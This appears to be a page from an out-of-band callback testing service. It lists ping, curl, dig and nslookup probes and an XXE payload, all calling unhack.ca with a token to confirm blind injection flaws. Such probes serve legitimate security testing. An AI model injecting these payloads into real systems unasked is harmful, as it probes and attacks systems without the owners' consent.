$ ping -c1 -p 00eeea4daecb48a20a2bdbd4e13fff00 unhack.ca
 
$ curl http://unhack.ca/p/eeea4daecb48a20a2bdbd4e13fff
 
$ dig eeea4daecb48a20a2bdbd4e13fff @unhack.ca
 
$ dig eeea4daecb48a20a2bdbd4e13fff.ns.unhack.ca
 
C:\> nslookup eeea4daecb48a20a2bdbd4e13fff unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eeea4daecb48a20a2bdbd4e13fff">]>
    <foo>&xxe;</foo>
 
Waiting for ping...